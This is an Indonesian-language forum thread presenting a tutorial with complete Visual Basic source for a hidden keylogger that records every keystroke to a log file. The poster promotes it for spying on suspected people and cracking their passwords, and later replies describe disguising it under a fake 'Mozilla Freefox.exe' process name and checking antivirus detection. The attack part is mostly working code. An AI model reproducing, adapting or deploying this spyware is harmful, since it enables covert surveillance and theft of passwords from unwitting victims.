Tutorial Bikin Keyloger Pake Vb

Keylogger

dari namanya udah jelas ..

aplikasi ini digunakan buat mencatat semua

aktifitas yang berhungan dengan keyboard

jadi semua ketikan kita akan tersimpan

kedalam file mylog.txt ...

mantab kan ...

bisa buat memata-matai kegiatan orang yang kita jurigai..

seperti menjebol password orang

untuk menjalankannya..

coba jalankan file keylogger.exe

trus coba kamu ketikan sesuatu ....

jreng jreng jreng ...

sekarang kamu buka file mylog.txt

di tempat project vb berada..

semua ktikan kamu akan tercatat di file tersebut..

sekarang gimana cara buatnya :

1. Buatlah form , trus tambahkan 1 timer ( jangan lupa ubah intervalnya jadi 1 )

2. Ketikan Listing dibawah ini


klo mau langsung gini aja:


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer'CODED BY HUGO
Private Type TList'CODED BY HUGO
kode As Integer'CODED BY HUGO
bawah As String'CODED BY HUGO
atas As String'CODED BY HUGO
End Type'CODED BY HUGO
Private List(1 To 255) As TList'CODED BY HUGO
Private IndexList As Integer'CODED BY HUGO
Private Sub AddToTable(kode As Integer, atas As String, bawah As String)'CODED BY HUGO
IndexList = IndexList + 1'CODED BY HUGO
List(IndexList).kode = kode'CODED BY HUGO
List(IndexList).atas = atas'CODED BY HUGO
List(IndexList).bawah = bawah'CODED BY HUGO
End Sub'CODED BY HUGO

Private Sub Build_Table()'CODED BY HUGO
Dim i As Integer'CODED BY HUGO
For i = 65 To 90'CODED BY HUGO
AddToTable i, Chr(i), Chr(i + 32)'CODED BY HUGO
Next i'CODED BY HUGO
AddToTable 48, ")", "0"'CODED BY HUGO
AddToTable 49, "!", "1"'CODED BY HUGO
AddToTable 50, "@", "2"'CODED BY HUGO
AddToTable 51, "#", "3"'CODED BY HUGO
AddToTable 52, "$", "4"'CODED BY HUGO
AddToTable 53, "%", "5"'CODED BY HUGO
AddToTable 54, "^", "6"'CODED BY HUGO
AddToTable 55, "&", "7"'CODED BY HUGO
AddToTable 56, "*", "8"'CODED BY HUGO
AddToTable 57, "(", "9"'CODED BY HUGO
AddToTable &H60, "", "0"'CODED BY HUGO
AddToTable &H61, "", "1"'CODED BY HUGO
AddToTable &H62, "", "2"'CODED BY HUGO
AddToTable &H63, "", "3"'CODED BY HUGO
AddToTable &H64, "", "4"'CODED BY HUGO
AddToTable &H65, "", "5"'CODED BY HUGO
AddToTable &H66, "", "6"'CODED BY HUGO
AddToTable &H67, "", "7"'CODED BY HUGO
AddToTable &H68, "", "8"'CODED BY HUGO
AddToTable &H69, "", "9"'CODED BY HUGO
AddToTable Asc(" "), " ", " "'CODED BY HUGO
End Sub'CODED BY HUGO

Private Sub Form_Load()'CODED BY HUGO
Me.Visible = False'CODED BY HUGO
Build_Table'CODED BY HUGO
End Sub'CODED BY HUGO

Private Sub AddToFile(Isi As String)'CODED BY HUGO
Dim Data As String'CODED BY HUGO
Dim FileHandler As Long'CODED BY HUGO

If (Dir(App.Path & "\mylog.txt") <> "") Then'CODED BY HUGO
FileHandler = FreeFile'CODED BY HUGO
Open App.Path & "\mylog.txt" For Input As #FileHandler'CODED BY HUGO
Data = Input(LOF(FileHandler) - 2, #FileHandler)'CODED BY HUGO
Close #FileHandler'CODED BY HUGO
End If'CODED BY HUGO

FileHandler = FreeFile'CODED BY HUGO
Open App.Path & "\mylog.txt" For Output As #FileHandler'CODED BY HUGO
Print #FileHandler, Data & Isi'CODED BY HUGO
Close #FileHandler'CODED BY HUGO
End Sub'CODED BY HUGO


Private Sub Timer1_Timer()'CODED BY HUGO
Dim i As Integer'CODED BY HUGO
Dim a, b As Integer'CODED BY HUGO
For i = LBound(List) To UBound(List)'CODED BY HUGO
a = GetAsyncKeyState(List(i).kode)'CODED BY HUGO
b = GetAsyncKeyState(16)'CODED BY HUGO
If (a = -32767) Then'CODED BY HUGO
If (b = -32768) Then'CODED BY HUGO
AddToFile List(i).atas'CODED BY HUGO
Else'CODED BY HUGO
AddToFile List(i).bawah'CODED BY HUGO
End If'CODED BY HUGO
Exit For'CODED BY HUGO
End If'CODED BY HUGO
Next'CODED BY HUGO
End Sub'CODED BY HUGO

Keterangan yang warna MERAH silahkan di edit:
○ yang mylog.txt bisa di ubah tapi harus sama ya.... jangan lupa juga belakangnya formatnya ####.txt
○ yang False itu kamu bisa pilih mau False atau True,
klo False tidak nampak programnya di Windows,
klo true nampak programnya di Windows.

-----------------------------------------------------------------------------------------------------------------------
mau hasil jadinya:

nih gan... keylogger buatan gue.
[You must be registered and logged in to see this link.]

Proccess Name: Mozilla Freefox.exe <<< Fake Proccess Name!!!

Cara ilangin/terminate Keyloggernya:
○ di pojok bawah kanan ada X tekan aja tuh
○ pakai Task Manager.
- cari nama proses yg di atas
- kalau ketemu klik kanan > Terminate Procces.


Virus Total di Net gue lagi error!!

[You must be registered and logged in to see this link.]

disitu juga ada hasil buatannya punya bang aburame.

gue lupa credit siapa???? tapi ada codenya ada yg ku edit

Simple Keylogger v2 - By HUGO akan di terbitkan di sini...
dan ada fitur fitur terbaru!!!
tunggu saja Ya.... ^_^

ada 1 blog yang satu orangpun belum tau kecuali aku yang ada saya terbitkan....
^^^
Blog gue (bukan yg [You must be registered and logged in to see this link.] ada yang satunya lagi.....)
tapi pas saya terbitkan nggak boleh cantumin blog yg bersifat tersembunyi tsb. (bukan yg [You must be registered and logged in to see this link.] )

sorry o'im gue Double Posting ^_^

ane tunggu.

gpp gan..
ane juga double posting kog ..
hehe

Simple Keylogger v2 - By HUGO
-> [You must be registered and logged in to see this link.]

Simple Keylogger v3 - By HUGO
-> [You must be registered and logged in to see this link.]

Simple Keylogger v4 - By HUGO
-> [You must be registered and logged in to see this link.]

Simple Keylogger v5 - By HUGO
-> [You must be registered and logged in to see this link.]

Fitur v5 : menambahkan string [TAB] dan [BACKSPACE]

Viros Total di Blockir, jadi gw gk tau cara ngatasinnya.
tolong di bantu ya scannya ^_^

jiaaaaaah
hugo mulai Online in Forum ane :d
kakkakak

banned aah